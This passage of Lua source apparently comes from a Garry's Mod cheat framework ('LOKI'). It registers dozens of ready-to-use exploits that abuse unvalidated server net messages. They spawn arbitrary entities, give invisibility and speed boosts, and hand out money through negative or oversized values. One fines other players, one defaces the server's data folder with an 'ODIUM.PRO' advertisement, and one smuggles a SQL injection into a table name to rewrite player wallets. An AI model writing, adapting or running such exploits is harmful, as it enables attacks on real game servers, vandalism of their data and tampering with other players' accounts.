3466 scan = function() return LOKI.ValidNetString("zrush_FuelSplitUIGotClosed_net") end,
3467 hooks = {
3468 CreateMove = function(tbl, sploit, varargs)
3469 local tbl = LOKI.RecursiveGetVar(sploit, {"bools"}, "table", true)
3470 if(tbl.enabled) then
3471 local ent = LOKI.GetLP():GetEyeTrace().Entity
3472 if(IsValid(ent) && varargs[1]:KeyDown(IN_ATTACK)) then
3473 LOKI.NetStart(sploit, "zrush_FuelSplitUIGotClosed_net")
3474 net.WriteFloat(ent:EntIndex())
3475 net.SendToServer()
3476 end
3477 end
3478 end,
3479 },
3480 functions = {
3481 { typ = "bool", },
3482 },
3483 } )
3484 LOKI.AddExploit( "Entity Exploit", {
3485 desc = "Give yourself any entity",
3486 severity = 50,
3487 bools = {enabled = false},
3488 status = 1,
3489 times_per_tick = 1,
3490 vars = {},
3491 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
3492 hooks = {
3493 Think = function(tbl, sploit)
3494 local vars = LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
3495 if(!vars.NAME) then
3496 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
3497 if(ItemsList) then
3498 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
3499 if(!v.LoadData) then
3500 vars.NAME = v.NAME
3501 break
3502 end
3503 end
3504 end
3505 end
3506 for i = 1, LOKI.GetStored("entity1_q") do
3507 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
3508 net.WriteTable({type = 6, ENTITY = LOKI.GetStored( "entity1" ), SKIN = 0, MODEL = LOKI.GetStored("entity1_m"), NAME = vars.NAME || "Beer"})
3509 net.WriteInt(0, 16)
3510 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
3511 net.SendToServer()
3512 end
3513 end,
3514 },
3515 functions = {
3516 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity1" },
3517 { typ = "string", Name = "Entity Model", default = "models/error.mdl", addr = "entity1_m" },
3518 { typ = "float", addr = "entity1_q", Name = "Amount", min = 1, max = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD", "Config", "PropLimit"}, "number") || math.huge, default = 1 },
3519 { typ = "func", Name = "Give me shit", },
3520 },
3521 } )
3522 LOKI.AddExploit( "Entity Exploit", {
3523 desc = "With just a wave of my magic wand...",
3524 severity = 100,
3525 bools = {enabled = false},
3526 status = 1,
3527 times_per_tick = math.huge,
3528 scan = function() return LOKI.ValidNetString("STOOL_FISHSPOT_REMOVE") end,
3529 hooks = {
3530 net = {
3531 SendToServer = function(sploit, varargs, func)
3532 func(unpack(varargs))
3533 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack1", "remove")) then
3534 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
3535 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3536 net.SendToServer()
3537 end
3538 return false
3539 end,
3540 },
3541 /*_G = {
3542 SortedPairsByMemberValue = function(sploit, varargs, func)
3543 local PropertyList = varargs[1]
3544 if(istable(PropertyList) && PropertyList["remove"] && PropertyList["remove"]["Filter"] && sploit.bools.enabled) then
3545 local tbl = table.Copy(PropertyList)
3546 tbl["remove"]["Filter"] = function() return true end
3547 return func(unpack(varargs))
3548 end
3549 end,
3550 },*/
3551 },
3552 functions = {
3553 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack1" },
3554 { typ = "bool" },
3555 },
3556 } )
3557 LOKI.AddExploit( "Entity Exploit", {
3558 desc = "Some disassembly required",
3559 severity = 100,
3560 bools = {enabled = false},
3561 status = 1,
3562 times_per_tick = math.huge,
3563 scan = function() return LOKI.ValidNetString("DestroyTable") end,
3564 hooks = {
3565 net = {
3566 SendToServer = function(sploit, varargs, func)
3567 func(unpack(varargs))
3568 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack2", "remove")) then
3569 LOKI.NetStart(sploit, "DestroyTable")
3570 net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
3571 net.SendToServer()
3572 end
3573 return false
3574 end,
3575 },
3576 },
3577 functions = {
3578 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack2" },
3579 { typ = "bool" },
3580 },
3581 } )
3582 LOKI.AddExploit( "Entity Exploit", {
3583 desc = "Set your playermodel to anything",
3584 severity = 50,
3585 bools = {enabled = false},
3586 status = 1,
3587 times_per_tick = 1,
3588 vars = {},
3589 scan = function() return LOKI.ValidNetString( "SetPlayerModel" ) end,
3590 hooks = {
3591 Think = function(tbl, sploit)
3592 LOKI.NetStart(sploit, "SetPlayerModel")
3593 net.WriteString(LOKI.GetStored( "entity2_m" ))
3594 net.SendToServer()
3595 end,
3596 },
3597 functions = {
3598 { typ = "string", Name = "Model", default = "models/error.mdl", addr = "entity2_m" },
3599 { typ = "func", Name = "Do it", },
3600 },
3601 } )
3602 LOKI.AddExploit( "Entity Exploit", {
3603 desc = "Take a sip from the cup of destruction",
3604 severity = 100,
3605 bools = {enabled = false},
3606 status = 1,
3607 times_per_tick = math.huge,
3608 scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
3609 hooks = {
3610 net = {
3611 SendToServer = function(sploit, varargs, func)
3612 func(unpack(varargs))
3613 if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack3", "remove")) then
3614 LOKI.NetStart(sploit, "AS_DoAttack")
3615 net.WriteTable({Weapon = Entity(LOKI.NetOutgoingData[2][1]):EntIndex(), Target = 0})
3616 net.SendToServer()
3617 end
3618 return false
3619 end,
3620 },
3621 },
3622 functions = {
3623 { typ = "string", Name = "Utility", default = "remove", addr = "util_jack3" },
3624 { typ = "bool" },
3625 },
3626 } )
3627 LOKI.AddExploit( "Entity Exploit", {
3628 desc = "Give yourself any entity",
3629 severity = 50,
3630 bools = {enabled = false},
3631 status = 1,
3632 times_per_tick = 1,
3633 vars = {},
3634 scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
3635 hooks = {
3636 Think = function(tbl, sploit)
3637 for k, v in ipairs(string.Split( LOKI.GetStored("entity2", "sent_ball"), "," )) do
3638 for i = 1, LOKI.GetStored("entity2_q") do
3639 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
3640 net.WriteString("Add")
3641 net.WriteTable({[1] = v})
3642 net.SendToServer()
3643 end
3644 end
3645 end,
3646 },
3647 functions = {
3648 { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity2" },
3649 { typ = "float", addr = "entity2_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3650 { typ = "func", Name = "Give me shit", },
3651 },
3652 } )
3653 LOKI.AddExploit( "Entity Exploit", {
3654 desc = "Spawn any inventory item",
3655 severity = 50,
3656 bools = {enabled = false},
3657 status = 1,
3658 times_per_tick = math.huge,
3659 scan = function()
3660 local ret = LOKI.ValidNetString( "InvSV" ) && istable(Items)
3661 if(ret) then
3662 for k, v in pairs(Items) do
3663 v.ClassName = k
3664 end
3665 end
3666 return ret
3667 end,
3668 hooks = {
3669 Think = function(tbl, sploit)
3670 for i = 1, LOKI.GetStored("entity3_q") do
3671 LOKI.NetStart( sploit, "InvSV", true )
3672 net.WriteTable({})
3673 net.WriteString("DropItem")
3674 net.WriteString(LOKI.GetStored("entity3", "")[1])
3675 net.SendToServer()
3676 end
3677 end,
3678 },
3679 functions = {
3680 { typ = "combo", Name = "Entity", tbl = Items, var = "ClassName", sort = "ClassName", default = {}, addr = "entity3" },
3681 { typ = "float", addr = "entity3_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
3682 { typ = "func", Name = "Spawn", },
3683 },
3684 } )
3685 LOKI.AddExploit( "Entity Exploit", {
3686 desc = "Become invisible",
3687 severity = 50,
3688 bools = {enabled = false},
3689 status = 1,
3690 times_per_tick = math.huge,
3691 scan = function()
3692 return LOKI.ValidNetString( "camo_PlayerInvis" )
3693 end,
3694 OnEnable = function(var, sploit)
3695 if(var != "invisible") then return end
3696 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3697 net.WriteBool( true )
3698 net.SendToServer()
3699 end,
3700 OnDisable = function(var, sploit)
3701 if(var != "invisible") then return end
3702 LOKI.NetStart( sploit, "camo_PlayerInvis", true )
3703 net.WriteBool( false )
3704 net.SendToServer()
3705 end,
3706 functions = {
3707 { typ = "bool", ToggleText = {"Cloak"}, border = true, bool = "invisible" },
3708 },
3709 } )
3710 LOKI.AddExploit( "Movement Exploit", {
3711 desc = "My name is Barry Allen...",
3712 severity = 50,
3713 bools = {enabled = false},
3714 status = 1,
3715 times_per_tick = 1,
3716 scan = function() return LOKI.ValidNetString("XMH_RunOneLineLua") end,
3717 count = {
3718 ["Active"] = 3,
3719 ["Total"] = 3,
3720 },
3721 hooks = {
3722 Think = function(tbl, sploit)
3723 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3724 net.WriteString("xmh_walkspeed_var")
3725 net.WriteInt(LOKI.GetStored("dbx_wlk"), 16)
3726 net.SendToServer()
3727 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3728 net.WriteString("xmh_runspeed_var")
3729 net.WriteInt(LOKI.GetStored("dbx_run"), 16)
3730 net.SendToServer()
3731 LOKI.NetStart(sploit, "XMH_RunOneLineLua")
3732 net.WriteString("xmh_jumpheight_var")
3733 net.WriteInt(LOKI.GetStored("dbx_jmp"), 16)
3734 net.SendToServer()
3735 end,
3736 },
3737 functions = {
3738 { typ = "float", Name = "Walk Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 160, addr = "dbx_wlk" },
3739 { typ = "float", Name = "Run Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 240, addr = "dbx_run" },
3740 { typ = "float", Name = "Jump Height", min = 1, max = math.floor(2^16 / 2)-1, default = 200, addr = "dbx_jmp" },
3741 { typ = "func", Name = "Do it"},
3742 },
3743 } )
3744 LOKI.AddExploit( "Movement Exploit", {
3745 desc = "Become a triathlon runner",
3746 severity = 1,
3747 bools = {enabled = false},
3748 status = 1,
3749 times_per_tick = 1,
3750 scan = function() return LOKI.ValidNetString("StaminaDrowning") && LOKI.GetLP().BurgerStamina != nil && LOKI.GetLP().BurgerMaxStamina != nil end,
3751 hooks = {
3752 CreateMove = function()
3753 LOKI.GetLP().BurgerStamina = LOKI.GetLP().BurgerMaxStamina
3754 end,
3755 },
3756 functions = {
3757 { typ = "bool" },
3758 },
3759 } )
3760 LOKI.AddExploit( "Movement Exploit", {
3761 desc = "Become a triathlon runner",
3762 severity = 1,
3763 bools = {enabled = false},
3764 status = 1,
3765 times_per_tick = 1,
3766 scan = function() return isfunction(StopSprint) && LOKI.GetLP():GetNWInt( "stamina", false ) != false end,
3767 vars = {stamina = 0},
3768 hooks = {
3769 Tick = function(tbl, sploit)
3770 LOKI.GetLP():SetNWInt( "stamina", Classes[GetPlayerClass( LOKI.GetLP() )].maxStamina )
3771 end,
3772 },
3773 functions = {
3774 { typ = "bool" },
3775 },
3776 } )
3777 LOKI.AddExploit( "Vandalize Server Data", {
3778 desc = "Vandalize the servers data folder, probably won't do any real damage but will annoy their devs",
3779 severity = 90,
3780 bools = {enabled = false},
3781 status = 2,
3782 times_per_tick = math.huge,
3783 vars = {},
3784 scan = function() return LOKI.ValidNetString( "WriteQuery" ) end,
3785 hooks = {
3786 Think = function(tbl, sploit)
3787 LOKI.NetStart( sploit, "WriteQuery" )
3788 net.WriteString( "BUY ODIUM.PRO"..string.rep( "!", LOKI.GetDetour("math.random", math.random)( 1, 50 ) ) )
3789 net.SendToServer()
3790 end,
3791 },
3792 functions = {
3793 { typ = "bool", },
3794 },
3795 } )
3796 LOKI.AddExploit( "Money Exploit", {
3797 desc = "Give people a crapton of money",
3798 severity = 90,
3799 bools = {enabled = false},
3800 status = 1,
3801 times_per_tick = 1,
3802 vars = {},
3803 scan = function() return LOKI.ValidNetString( "SendMoney" ) && net.Receivers["confpanel"] end,
3804 hooks = {
3805 Think = function(tbl, sploit)
3806 for k, v in ipairs( LOKI.GetStored( "shekels1_plyz", {} ) ) do
3807 if IsValid(v) then
3808 LOKI.NetStart( sploit, "SendMoney" )
3809 net.WriteEntity( v )
3810 net.WriteEntity( v )
3811 net.WriteEntity( v )
3812 net.WriteString( tostring(-LOKI.SafeToNumber(LOKI.GetStored( "shekels1" ))) )
3813 net.SendToServer()
3814 end
3815 end
3816 end,
3817 },
3818 functions = {
3819 { typ = "players", addr = "shekels1_plyz" },
3820 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels1" },
3821 { typ = "func", Name = "Give shekels", },
3822 },
3823 } )
3824 LOKI.AddExploit( "Money Exploit", {
3825 desc = "Give yourself a crapton of money",
3826 severity = 50,
3827 bools = {enabled = false},
3828 status = 1,
3829 times_per_tick = 1,
3830 vars = {},
3831 scan = function() return LOKI.ValidNetString( "BailOut" ) end,
3832 hooks = {
3833 Think = function(tbl, sploit)
3834 LOKI.NetStart( sploit, "BailOut" )
3835 net.WriteEntity( LOKI.GetLP() )
3836 net.WriteEntity( LOKI.GetLP() )
3837 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored( "shekels2" )) )
3838 net.SendToServer()
3839 end,
3840 },
3841 functions = {
3842 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels2" },
3843 { typ = "func", Name = "Give me shekels", },
3844 },
3845 } )
3846 LOKI.AddExploit( "Money Exploit", {
3847 desc = "Give yourself a crapton of money",
3848 severity = 50,
3849 bools = {enabled = false},
3850 status = 2,
3851 times_per_tick = 1,
3852 vars = {},
3853 scan = function() return LOKI.ValidNetString( "casinokit_chipexchange" ) && LOKI.GetLP().getDarkRPVar end,
3854 hooks = {
3855 Think = function(tbl, sploit)
3856 local moneylog = LOKI.GetLP():getDarkRPVar("money")
3857 LOKI.NetStart( sploit, "casinokit_chipexchange")
3858 net.WriteEntity(LOKI.GetLP())
3859 net.WriteString("darkrp")
3860 net.WriteBool(true)
3861 net.WriteUInt(LOKI.GetLP():getDarkRPVar("money"),32)
3862 net.SendToServer()
3863 for i=1, 10 do
3864 LOKI.NetStart( sploit, "casinokit_chipexchange")
3865 net.WriteEntity(LOKI.GetLP())
3866 net.WriteString("darkrp")
3867 net.WriteBool(false)
3868 net.WriteUInt(moneylog*0.10,32)
3869 net.SendToServer()
3870 end
3871 end,
3872 },
3873 functions = {
3874 { typ = "func", Name = "Give me shekels", },
3875 },
3876 } )
3877 LOKI.AddExploit( "Money Exploit", {
3878 desc = "Give yourself a crapton of money",
3879 severity = 50,
3880 bools = {enabled = false},
3881 status = 1,
3882 times_per_tick = 1,
3883 vars = {},
3884 scan = function() return LOKI.ValidNetString( "hitcomplete" ) && LOKI.GetLP().getDarkRPVar end,
3885 hooks = {
3886 Think = function(tbl, sploit)
3887 LOKI.NetStart( sploit, "hitcomplete")
3888 net.WriteDouble( LOKI.GetStored( "shekels4" ) )
3889 net.SendToServer()
3890 end,
3891 },
3892 functions = {
3893 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels4" },
3894 { typ = "func", Name = "Give me shekels", },
3895 },
3896 } )
3897 LOKI.AddExploit( "Money Exploit", {
3898 desc = "Give yourself a crapton of money",
3899 severity = 50,
3900 bools = {enabled = false},
3901 status = 1,
3902 times_per_tick = 1,
3903 vars = {},
3904 scan = function() return LOKI.ValidNetString( "WithdrewBMoney" ) && LOKI.GetLP().getDarkRPVar end,
3905 hooks = {
3906 Think = function(tbl, sploit)
3907 LOKI.NetStart( sploit, "WithdrewBMoney" )
3908 net.WriteInt( LOKI.GetStored( "shekels5" ), 32 )
3909 net.SendToServer()
3910 end,
3911 },
3912 functions = {
3913 { typ = "float", Name = "Amount", min = 1, max = 50000, default = 1000, addr = "shekels5" },
3914 { typ = "func", Name = "Give me shekels", },
3915 },
3916 } )
3917 LOKI.AddExploit( "Money Exploit", {
3918 desc = "Give yourself a crapton of money",
3919 severity = 50,
3920 bools = {enabled = false},
3921 status = 1,
3922 times_per_tick = 1,
3923 vars = {},
3924 scan = function() return LOKI.ValidNetString( "ClickerAddToPoints" ) && LOKI.GetLP().getDarkRPVar end,
3925 hooks = {
3926 Think = function(tbl, sploit)
3927 LOKI.NetStart( sploit, "ClickerAddToPoints")
3928 net.WriteInt(LOKI.GetStored( "shekels6" ), 32)
3929 net.SendToServer()
3930 end,
3931 },
3932 functions = {
3933 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels6" },
3934 { typ = "func", Name = "Give me shekels", },
3935 },
3936 } )
3937 LOKI.AddExploit( "Money Exploit", {
3938 desc = "Give yourself a crapton of money",
3939 severity = 50,
3940 bools = {enabled = false},
3941 status = 2,
3942 times_per_tick = 1,
3943 vars = {},
3944 scan = function() return LOKI.ValidNetString( "ckit_roul_bet" ) && LOKI.GetLP().getDarkRPVar end,
3945 hooks = {
3946 Think = function(tbl, sploit)
3947 LOKI.NetStart( sploit, "ckit_roul_bet")
3948 net.WriteEntity(LOKI.GetLP())
3949 net.WriteString("")
3950 net.WriteString("")
3951 net.WriteUInt(-LOKI.SafeToNumber(LOKI.GetStored( "shekels7" )), 16)
3952 net.SendToServer()
3953 end,
3954 },
3955 functions = {
3956 { typ = "float", Name = "Amount", min = 1, max = math.pow(2, 16)-1, default = 1000, addr = "shekels7" },
3957 { typ = "func", Name = "Give me shekels", },
3958 },
3959 } )
3960 LOKI.AddExploit( "Money Exploit", {
3961 desc = "Give yourself a crapton of money",
3962 severity = 50,
3963 bools = {enabled = false},
3964 status = -1,
3965 times_per_tick = 1,
3966 vars = {},
3967 scan = function() return LOKI.ValidNetString( "duelrequestguiYes" ) && LOKI.GetLP().getDarkRPVar end,
3968 hooks = {
3969 Think = function(tbl, sploit)
3970 LOKI.NetStart( sploit, "duelrequestguiYes")
3971 net.WriteInt(0xFFFFFFFF,32)
3972 net.WriteEntity(table.Random( player.GetAll() ) )
3973 net.WriteString("Crossbow")
3974 net.SendToServer()
3975 end,
3976 },
3977 functions = {
3978 { typ = "func", Name = "Give me shekels", },
3979 },
3980 } )
3981 LOKI.AddExploit( "Money Exploit", {
3982 desc = "Give yourself a crapton of money",
3983 severity = 50,
3984 bools = {enabled = false},
3985 status = 1,
3986 times_per_tick = 1,
3987 vars = {},
3988 scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay && LOKI.GetLP().getDarkRPVar end,
3989 hooks = {
3990 Think = function(tbl, sploit)
3991 for k, v in ipairs( LOKI.GetStored( "shekels2_plyz", {} ) ) do
3992 if IsValid(v) then
3993 local ass = {}
3994 ass.tblname = "darkrp_player; UPDATE darkrp_player SET wallet = "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:SteamID64() .. "; UPDATE darkrp_player SET wallet "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:UniqueID()
3995 ass.ply = v
3996 LOKI.NetStart( sploit, "pplay_sendtable")
3997 net.WriteTable(ass)
3998 net.SendToServer()
3999 end
4000 end
4001 end,
4002 },
4003 functions = {
4004 { typ = "players", addr = "shekels2_plyz" },
4005 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels9" },
4006 { typ = "func", Name = "Give shekels", },
4007 },
4008 } )
4009 LOKI.AddExploit( "Money Exploit", {
4010 desc = "Effectiveness varies server to server",
4011 severity = 50,
4012 bools = {enabled = false},
4013 status = 1,
4014 times_per_tick = 1,
4015 vars = {},
4016 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) && LOKI.GetLP().getDarkRPVar end,
4017 hooks = {
4018 Think = function(tbl, sploit)
4019 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
4020 r_tbl.cooldown = (LOKI.REAL_CURTIME + LOKI.SafeToNumber(LOKI.GetStored( "shekels10" )))
4021 LOKI.NetStart( sploit, "RevivePlayer")
4022 net.WriteEntity(game.GetWorld())
4023 net.SendToServer()
4024 end,
4025 },
4026 functions = {
4027 { typ = "float", Name = "Cooldown", min = 1, max = 300, default = 60, addr = "shekels10" },
4028 { typ = "bool" },
4029 },
4030 } )
4031 LOKI.AddExploit( "Money Exploit", {
4032 desc = "Give people a crapton of money",
4033 severity = 50,
4034 bools = {enabled = false},
4035 status = -1,
4036 times_per_tick = 1,
4037 vars = {},
4038 scan = function() return LOKI.ValidNetString( "75_plus_win" ) end,
4039 hooks = {
4040 Think = function(tbl, sploit)
4041 for k, v in ipairs( LOKI.GetStored( "shekels11_plyz", {} ) ) do
4042 if IsValid(v) then
4043 LOKI.NetStart( sploit, "75_plus_win" )
4044 net.WriteString( LOKI.GetStored( "shekels11" ) )
4045 net.WriteEntity(v)
4046 net.SendToServer()
4047 end
4048 end
4049 end,
4050 },
4051 functions = {
4052 { typ = "players", addr = "shekels11_plyz" },
4053 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels11" },
4054 { typ = "func", Name = "Give shekels", },
4055 },
4056 } )
4057 LOKI.AddExploit( "Money Exploit", {
4058 desc = "Give yourself a crapton of money",
4059 severity = 50,
4060 bools = {enabled = false},
4061 status = -1,
4062 times_per_tick = 1,
4063 vars = {},
4064 scan = function() return LOKI.ValidNetString( "ATMDepositMoney" ) end,
4065 hooks = {
4066 Think = function(tbl, sploit)
4067 LOKI.NetStart( sploit, "ATMDepositMoney" )
4068 net.WriteFloat( -LOKI.GetStored( "shekels12" ) )
4069 net.SendToServer()
4070 end,
4071 },
4072 functions = {
4073 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels12" },
4074 { typ = "func", Name = "Give me shekels", },
4075 },
4076 } )
4077 LOKI.AddExploit( "Money Exploit", {
4078 desc = "Give yourself a crapton of money",
4079 severity = 50,
4080 bools = {enabled = false},
4081 status = -1,
4082 times_per_tick = 1,
4083 vars = {},
4084 scan = function() return LOKI.ValidNetString( "SellMinerals", "Upgrade" ) end,
4085 hooks = {
4086 Think = function(tbl, sploit)
4087 if(SkillDB && istable(SkillDB)) then
4088 for k1,v1 in pairs(SkillDB) do
4089 if not ( v1.iSkill == true ) then
4090 LOKI.NetStart( sploit, "SetUpgrade")
4091 net.WriteTable( { LuaName = v1.LuaName, Amount = LOKI.GetStored( "shekels13" ) } )
4092 net.SendToServer()
4093
4094 LOKI.NetStart( sploit, "SellMinerals" )
4095 net.WriteTable( { Target = LOKI.GetLP() } )
4096 net.SendToServer()
4097 end
4098 end
4099 end
4100 end,
4101 },
4102 functions = {
4103 { typ = "players", addr = "shekels13_plyz" },
4104 { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels13" },
4105 { typ = "func", Name = "Give shekels", },
4106 },
4107 } )
4108 LOKI.AddExploit( "Money Exploit", {
4109 desc = "Give yourself a crapton of money",
4110 severity = 50,
4111 bools = {enabled = false},
4112 status = -1,
4113 times_per_tick = 1,
4114 vars = {},
4115 scan = function() return LOKI.ValidNetString( "TakeBetMoney" ) end,
4116 hooks = {
4117 Think = function(tbl, sploit)
4118 LOKI.NetStart( sploit, "TakeBetMoney" )
4119 net.WriteTable({LOKI.SafeToNumber(LOKI.GetStored( "shekels14" )), LOKI.SafeToNumber(LOKI.GetStored( "shekels14" ))})
4120 net.SendToServer()
4121 end,
4122 },
4123 functions = {
4124 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels14" },
4125 { typ = "func", Name = "Give me shekels", },
4126 },
4127 } )
4128 LOKI.AddExploit( "Money Exploit", {
4129 desc = "Give yourself a crapton of money",
4130 severity = 50,
4131 bools = {enabled = false},
4132 status = -1,
4133 times_per_tick = 1,
4134 vars = {},
4135 scan = function() return LOKI.ValidNetString( "kart_sell" ) end,
4136 hooks = {
4137 Think = function(tbl, sploit)
4138 LOKI.NetStart( sploit, "kart_sell")
4139 net.WriteString("sw_gokart")
4140 net.SendToServer()
4141 end,
4142 },
4143 functions = {
4144 { typ = "func", Name = "Give me shekels", },
4145 },
4146 } )
4147 LOKI.AddExploit( "Money Exploit", {
4148 desc = "Fine other players for free money",
4149 severity = 50,
4150 bools = {enabled = false},
4151 status = 1,
4152 times_per_tick = 1,
4153 vars = {},
4154 scan = function() return LOKI.ValidNetString( "tickbooksendfine" ) end,
4155 hooks = {
4156 Think = function(tbl, sploit)
4157 local ply_tbl = LOKI.GetStored( "shekels17_plyz", {} )
4158 local max_dist = LOKI.RecursiveGetVar(TicketBook, {"Config", "TB", "MaxDistance"}, "number")
4159 if(max_dist) then
4160 ply_tbl = ents.FindInSphere(LOKI.GetLP():GetPos(), max_dist)
4161 end
4162 for k, v in ipairs( ply_tbl ) do
4163 local t = LOKI.GetStored( "shekels17_plyz", {} )
4164 if table.HasValue( t, v ) then
4165 LOKI.NetStart( sploit, "tickbooksendfine")
4166 net.WriteString(v:SteamID())
4167 net.WriteTable({LOKI.GetStored("shekels17r", "GET ODIUM.PRO")})
4168 net.WriteDouble(LOKI.SafeToNumber(LOKI.GetStored("shekels17", 1500)), 32)
4169 net.SendToServer()
4170 end
4171 end
4172 end,
4173 },
4174 functions = {
4175 { typ = "players", addr = "shekels17_plyz" },
4176 { typ = "float", Name = "Amount", min = 1, max = (LOKI.RecursiveGetVar(TicketBook, {"Config", "Fine", "Max"}, "number") || 5000), default = 1000, addr = "shekels17" },
4177 { typ = "string", Name = "Fine Reason", default = "GET ODIUM.PRO", addr = "shekels17r" },
4178 { typ = "bool", Name = "Give me shekels", },
4179 },
4180 } )
4181 LOKI.AddExploit( "Money Exploit", {
4182 desc = "Give yourself a crapton of money",
4183 severity = 50,
4184 bools = {enabled = false},
4185 status = 2,
4186 times_per_tick = 1,
4187 vars = {},
4188 scan = function() return LOKI.ValidNetString( "hhh_request" ) end,
4189 hooks = {
4190 Think = function(tbl, sploit)
4191 local hitRequest = {hitman = LOKI.GetLP(), requester = LOKI.GetLP(), target = table.Random(player.GetAll()), reward = LOKI.SafeToNumber(LOKI.GetStored("shekels18", 1500))}
4192
4193 LOKI.NetStart( sploit, 'hhh_request' )
4194 net.WriteTable( hitRequest )
4195 net.SendToServer()
4196 end,
4197 },
4198 functions = {
4199 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels18" },
4200 { typ = "func", Name = "Give me shekels", },
4201 },
4202 } )
4203 LOKI.AddExploit( "Money Exploit", {
4204 desc = "Ez money",
4205 severity = 50,
4206 bools = {enabled = false},
4207 status = 1,
4208 times_per_tick = 1,
4209 vars = {},
4210 scan = function() return LOKI.ValidNetString( "DaHit" ) end,
4211 hooks = {
4212 Think = function(tbl, sploit)
4213 LOKI.NetStart( sploit, "DaHit" )
4214 net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored("shekels19", 1500)) )
4215 net.WriteEntity( LOKI.GetLP() )
4216 net.WriteEntity( LOKI.GetLP() )
4217 net.WriteEntity( LOKI.GetLP() )
4218 net.SendToServer()
4219 end,
4220 },
4221 functions = {
4222 { typ = "float", Name = "Amount", min = 1, max = math.huge, default = 1000, addr = "shekels19" },
4223 { typ = "func", Name = "Give me shekels", },
4224 },
4225 } )
4226 LOKI.AddExploit( "Money Exploit", {
4227 desc = "Just a Taxi Driver trying to make an honest living",
4228 severity = 50,
4229 bools = {enabled = false},
4230 status = 1,
4231 times_per_tick = 1,
4232 vars = {},
4233 scan = function() return LOKI.ValidNetString( "NET_EcSetTax" ) end,
4234 hooks = {
4235 Think = function(tbl, sploit)
4236 LOKI.NetStart( sploit, "NET_EcSetTax" )
4237 net.WriteInt(LOKI.GetStored("shekels21", 1000), 16)
4238 net.SendToServer()
4239 end,
4240 },
4241 functions = {
4242 { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 16)-1)/2, default = 1000, addr = "shekels21" },
4243 { typ = "func", Name = "Give me shekels", },
4244 },
4245 } )
4246 LOKI.AddExploit( "Money Exploit", {
4247 desc = "Just an Irish Farmer trying to make an honest living",
4248 severity = 50,
4249 bools = {enabled = false},
4250 status = 1,
4251 times_per_tick = 1,
4252 vars = {},
4253 scan = function() return LOKI.ValidNetString( "FARMINGMOD_ADDITEM", "FARMINGMOD_SELLITEM" ) end,
4254 hooks = {
4255 Think = function(tbl, sploit)
4256 local tbl = {}
4257 local r_tbl = LOKI.RecursiveGetVar(_G, {"FARMINGMOD", "crops"}, "table")
4258 if(r_tbl) then
4259 for _, crop in pairs(r_tbl) do
4260 if(crop.sell && !tbl.sell || crop.sell > tbl.sell) then
4261 tbl = crop
4262 end
4263 end
4264 local quantity = (LOKI.GetStored("shekels22", 1000) / tbl.sell) + 1
4265 local recurse = math.Round(quantity / ((math.pow(2, 16)-1)/2))
4266 for i=0,recurse do
4267 if(recurse > 1) then
4268 quantity = quantity - ((math.pow(2, 16)-1)/2)
4269 end
4270 local quant = math.Clamp(quantity, 1, ((math.pow(2, 16)-1)/2))
4271 LOKI.NetStart( sploit, "FARMINGMOD_ADDITEM", true )
4272 net.WriteTable(tbl)
4273 net.WriteInt(quant, 16)
4274 net.SendToServer()
4275 LOKI.NetStart( sploit, "FARMINGMOD_SELLITEM", true )
4276 net.WriteTable(tbl)
4277 net.WriteInt(quant, 16)
4278 net.SendToServer()
4279 end
4280 else
4281 sploit.status = 3
4282 end
4283 end,
4284 },
4285 functions = {
